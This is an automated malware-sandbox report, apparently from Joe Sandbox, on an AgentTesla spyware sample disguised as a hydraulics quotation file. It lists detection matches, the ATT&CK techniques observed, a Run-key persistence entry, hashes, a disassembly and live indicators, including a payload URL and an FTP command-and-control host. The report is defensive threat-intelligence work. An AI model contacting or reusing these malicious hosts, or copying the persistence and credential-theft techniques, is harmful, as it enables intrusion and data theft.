Source: Yara match	File source: 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 5864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2116, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.3ee0f08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.3ee0f08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.42bfbd0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41f41b0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.41a5990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1423172719.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2520008251.0000000003277000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1504620567.000000000266C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 5864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2116, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	1 Credentials in Registry	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Egmgti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Egmgti.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Source	Detection	Scanner	Label
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.alternatifplastik.com	5.2.84.236	true	true		unknown
wymascensores.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wymascensores.com/hzamni/Cfuydzh.mp3	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wymascensores.com/hzamni/Cfuydzh.mp3xC	Egmgti.exe, 0000000D.00000002.1505625261.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-neti	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/14436606/23354	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000030D8000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/11564914/23354;	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://wymascensores.com/hzamni/Cfuydzh.mp3xC1	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.0000000003091000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://wymascensores.com	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C0D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.0000000003091000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000002C0D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.alternatifplastik.com	InstallUtil.exe, 00000009.00000002.1423172719.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.1504620567.00000000026BC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2520008251.000000000329C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://wymascensores.com/hzamni/Cfuydzh.mp3xC.	Egmgti.exe, 0000000A.00000002.1422897756.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
67.212.175.162	unknown	United States		32475	SINGLEHOP-LLCUS	false
5.2.84.236	ftp.alternatifplastik.com	Turkey		3188	ALASTYRTR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524117
Start date and time:	2024-10-02 15:44:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 391 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Simulations

Behavior and APIs

Time	Type	Description
15:45:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Egmgti C:\Users\user\AppData\Roaming\Egmgti.exe
15:45:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Egmgti C:\Users\user\AppData\Roaming\Egmgti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.212.175.162	BITUMEN_60-70_-_JUMBO_Specification.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.northjerseylocksmith.net/2nbp/?ab=tQVjVQ6bjwqqy2lbRpj5JhQnGfuizPNGdMEYuGKFTCiSTnfJxBy0WSIOyM01nCZIZatbO6YbONw5Q3bQ/V1g60uhCq/kzTYQUQ==&wZHp=LTklpdd0lp
67.212.175.162	EL-515-_HEAT_TRACING.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.northjerseylocksmith.net/2nbp/?I8Z=tQVjVQ6bjwqqy2lbRpj5JhQnGfuizPNGdMEYuGKFTCiSTnfJxBy0WSIOyM01nCZIZatbO6YbONw5Q3bQ/V1tnGq8XaOUlQYxDpzveej3TzCy&WN6=OLgLTlRhCRRxTxN
5.2.84.236	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse
	Teklif 8822321378 .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	https://www.rxjapan.jp/?wptouch_switch=desktop&redirect=http://5ln.gpr.carfield.com.tr./?YYY%3A%2F%2F%23.bWljaGFlbC5keWtlc0BjZXFsZC5vcmcuYXU=	Get hash	malicious	Unknown	Browse
	KAL_00192839403-28122021.cmd.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ftp.alternatifplastik.com	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINGLEHOP-LLCUS	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	https://sandbox-2.digital68.com/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://ebookkeepers.com.pk/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://dev-bdvonlinecreditos.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://dev-bdvemprendeven.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://dev-cdn370.pantheonsite.io	Get hash	malicious	Unknown	Browse	198.143.164.252
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	172.96.187.60
ALASTYRTR	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Richardson Electronics, LTD. PRD10221301UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	PURCHASE ORDER ADDISON-6378397379UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Teklif-6205018797-6100052155-UUE.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	5.2.85.36
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	doc_20241002_383767466374663543.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	All#att098764576.exe	Get hash	malicious	Snake Keylogger	Browse	67.212.175.162
	file.exe	Get hash	malicious	Credential Flusher	Browse	67.212.175.162
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	67.212.175.162
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	SHIPPING_DOCUMENTS.VBS.vbs	Get hash	malicious	FormBook	Browse	67.212.175.162
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	zR0pDxPfkZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	67.212.175.162
	WaUjTT0Wa1.exe	Get hash	malicious	VIP Keylogger	Browse	67.212.175.162

Process:	C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	834048
Entropy (8bit):	6.037062519146231
Encrypted:	false
SSDEEP:	24576:nqWVc+80IHhD5fhrZ3B7nnUeGZKqX7IM:FW+tIHhD5fhrZ3B7nnUDZP
MD5:	0AD77182F6AEAE3ADFA6CCC0AA964A5E
SHA1:	FD2836072C56DF6F9A9EC2DC7930F2BD1AD3773E
SHA-256:	D06EB6963064AF04B5249B6E488FBD53CF97DD09A4D18144560488DF9F473DB7
SHA-512:	81BB614397AD1E71681F741325027A098A27B467B76BB23FC17BE4C22C667DE01F22FCE8E136EDE8784E9B178A7C1E6B862FA31CC48A28AEAB1808BD44E1C32C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w..f................................. ........@.. ....................... ............`.................................,...W.......`............................................................................ ............... ..H............text........ ...................... ..`.rsrc...`...........................@..@.reloc..............................@..B................h.......H...........pK............................................................sy...}......}......}.....(2........{...."..}.........{...."..}.........{...."..}........0..)........\|....%(z...-.&#........+.({......(\|...i....0..E.........l(}...s~...}.....{.....~.......(z...-..+...({....(....9......(.......f.(5....(....._.3...}......f.({....(....._.3...}..........0...........(....9.....(....%-.&.+..(....%-.&~........(......-h.{..........(.......(......-?...(:...%.}......}.

C:\Users\user\AppData\Roaming\Egmgti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.037062519146231
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
File size:	834'048 bytes
MD5:	0ad77182f6aeae3adfa6ccc0aa964a5e
SHA1:	fd2836072c56df6f9a9ec2dc7930f2bd1ad3773e
SHA256:	d06eb6963064af04b5249b6e488fbd53cf97dd09a4d18144560488df9f473db7
SHA512:	81bb614397ad1e71681f741325027a098a27b467b76bb23fc17be4c22c667de01f22fce8e136ede8784e9b178a7c1e6b862fa31cc48a28aeab1808bd44e1c32c
SSDEEP:	24576:nqWVc+80IHhD5fhrZ3B7nnUeGZKqX7IM:FW+tIHhD5fhrZ3B7nnUDZP
TLSH:	7D052A8607E9DB5FCB4E93BAA877E30427F9C1669383B7ED688554B01C873935C421B2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w..f................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4ccf86
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FCDF77 [Wed Oct 2 05:51:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
